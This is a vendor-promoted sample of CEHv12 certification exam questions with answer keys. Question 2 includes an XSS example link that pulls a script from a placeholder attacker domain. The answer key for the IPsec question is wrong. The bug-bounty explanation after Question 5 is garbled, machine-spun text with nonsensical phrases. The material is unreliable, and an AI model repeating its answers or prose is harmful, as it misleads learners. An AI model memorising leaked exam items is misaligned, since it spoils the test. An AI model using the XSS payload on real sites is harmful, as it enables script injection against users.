



312-50V12^{Q&As}

Certified Ethical Hacker Exam (CEHv12)

Pass EC-COUNCIL 312-50V12 Exam with 100% Guarantee

Free Download Real Questions & Answers **PDF** and **VCE** file from:

<https://www.passapply.com/312-50v12.html>

100% Passing Guarantee
100% Money Back Assurance

Following Questions and Answers are all new published by EC-COUNCIL Official Exam Center

- ⚙️ **Instant Download** After Purchase
- ⚙️ **100% Money Back** Guarantee
- ⚙️ **365 Days** Free Update
- ⚙️ **800,000+** Satisfied Customers





QUESTION 1

Todd has been asked by the security officer to purchase a counter-based authentication system. Which of the following best describes this type of system?

- A. A biometric system that bases authentication decisions on behavioral attributes.
- B. A biometric system that bases authentication decisions on physical attributes.
- C. An authentication system that creates one-time passwords that are encrypted with secret keys.
- D. An authentication system that uses passphrases that are converted into virtual passwords.

Correct Answer: C

QUESTION 2

This is an attack that takes advantage of a web site vulnerability in which the site displays content that includes un-sanitized user-provided data.

```
<a href="http://foobar.com/index.html?id=%3Cscript%20src=%22  
http://baddomain.com/badscript.js %22%3E%3C/script%3E">See foobar</a>
```

What is this attack?

- A. Cross-site-scripting attack
- B. SQL Injection
- C. URL Traversal attack
- D. Buffer Overflow attack

Correct Answer: A

QUESTION 3

The collection of potentially actionable, overt, and publicly available information is known as

- A. Open-source intelligence
- B. Real intelligence
- C. Social intelligence D. Human intelligence

Correct Answer: A

QUESTION 4



Internet Protocol Security IPsec is actually a suite of protocols. Each protocol within the suite provides different functionality. Collective IPsec does everything except.

- A. Protect the payload and the headers
- B. Encrypt
- C. Work at the Data Link Layer
- D. Authenticate

Correct Answer: D

QUESTION 5

What is the common name for a vulnerability disclosure program opened by companies in platforms such as HackerOne?

- A. Vulnerability hunting program
- B. Bug bounty program
- C. White-hat hacking program
- D. Ethical hacking program

Correct Answer: B

Bug bounty programs allow independent security researchers to report bugs to a company and receive rewards or compensation. These bugs are usually sometimes security exploits and vulnerabilities, although they will additionally embody method problems, hardware flaws, and so on. The reports are usually created through a program run by an associate degree freelance third party (like Bugcrowd or HackerOne). The companies can get wind of (and run) a program curated to the organization's wants. Programs are also non-public (invite-only) where reports are usually unbroken confidential to the organization or public (where anyone will sign in and join). They will happen over a collection timeframe or with without stopping date (though the second possibility is a lot of common). Who uses bug bounty programs? Many major organizations use bug bounties as an area of their security program, together with AOL, Android, Apple, Digital Ocean, and Goldman Sachs. You'll read an inventory of all the programs offered by major bug bounty suppliers, Bugcrowd and HackerOne, at these links. Why do corporations use bug bounty programs? Bug bounty programs provide corporations the flexibility to harness an outsized cluster of hackers so as to seek out bugs in their code. This gives them access to a bigger variety of hackers or testers than they'd be able to access on a one-on-one basis. It can also will can even may also may increase the probabilities that bugs are found and reported to them before malicious hackers can exploit them. It may also be an honest publicity alternative for a firm. As bug bounties became a lot of common, having a bug bounty program will signal to the general public and even regulators that a corporation incorporates a mature security program. This trend is likely to continue, as some have began to see bug bounty programs as an business normal that all companies ought to invest in. Why do researchers and hackers participate in bug bounty programs? Finding and news bugs via a bug bounty program may end up in each money bonuses and recognition. In some cases, it will be a good thanks to show real-world expertise once you are looking for employment, or will even facilitate introduce you to people on the protection team within a company. This can be full time income for a few of us, income to supplement employment, or the way to point out off your skills and find a full time job. It may also be fun! It is a nice (legal) probability to check out your skills against huge companies and government agencies. What are the disadvantages of a bug bounty program for independent researchers and hackers? A lot of hackers participate in these varieties of programs, and it will be tough to form a major quantity of cash on the platform. In order to say the reward, the hacker has to be the primary person to submit the bug to the program. meaning that in apply, you may pay weeks searching for a bug to use, solely to be the person to report it and build no cash. Roughly ninety seven of participants on major bug bounty platforms haven't sold-out a bug. In fact, a 2019 report from



HackerOne confirmed that out of quite three hundred,000 registered users, solely around two.5% received a bounty in their time on the platform. Essentially, most hackers are not creating a lot of cash on these platforms, and really few square measure creating enough to switch a full time wage (plus they do not have advantages like vacation days, insurance, and retirement planning). What square measure the disadvantages of bug bounty programs for organizations? These programs square measure solely helpful if the program ends up in the companies realizeing issues that they weren't able to find themselves (and if they'll fix those problems)! If the companies is not mature enough to be able to quickly rectify known problems, a bug bounty program is not the right alternative for his or her companies. Also, any bug bounty program is probably going to draw in an outsized range of submissions, several of which can not be high-quality submissions. a corporation must be ready to cope with the exaggerated volume of alerts, and also the risk of a coffee signal to noise magnitude relation (essentially that it's probably that they're going to receive quite few unhelpful reports for each useful report). Additionally, if the program does not attract enough participants (or participants with the incorrect talent set, and so participants are not able to establish any bugs), the program is not useful for the companies. The overwhelming majority of bug bounty participants consider web site vulnerabilities (72%, per HackerOn), whereas solely a number of (3.5%) value more highly to seek for package vulnerabilities. This is probably because of the actual fact that hacking in operation systems (like network hardware and memory) needs a big quantity of extremely specialised experience. this implies that firms may even see vital come on investment for bug bounties on websites, and not for alternative applications, notably those that need specialised experience. This conjointly implies that organizations which require to look at AN application or web site among a selected time-frame may not need to rely on a bug bounty as there is no guarantee of once or if they receive reports. Finally, it are often probably risky to permit freelance researchers to try to penetrate your network. this could end in public speech act of bugs, inflicting name harm within the limelight (which could end in individuals not eager to purchase the organizations' product or service), or speech act of bugs to additional malicious third parties, United Nations agency may use this data to focus on the organization.

[Latest 312-50V12 Dumps](#)[312-50V12 Study Guide](#)[312-50V12 Brindumps](#)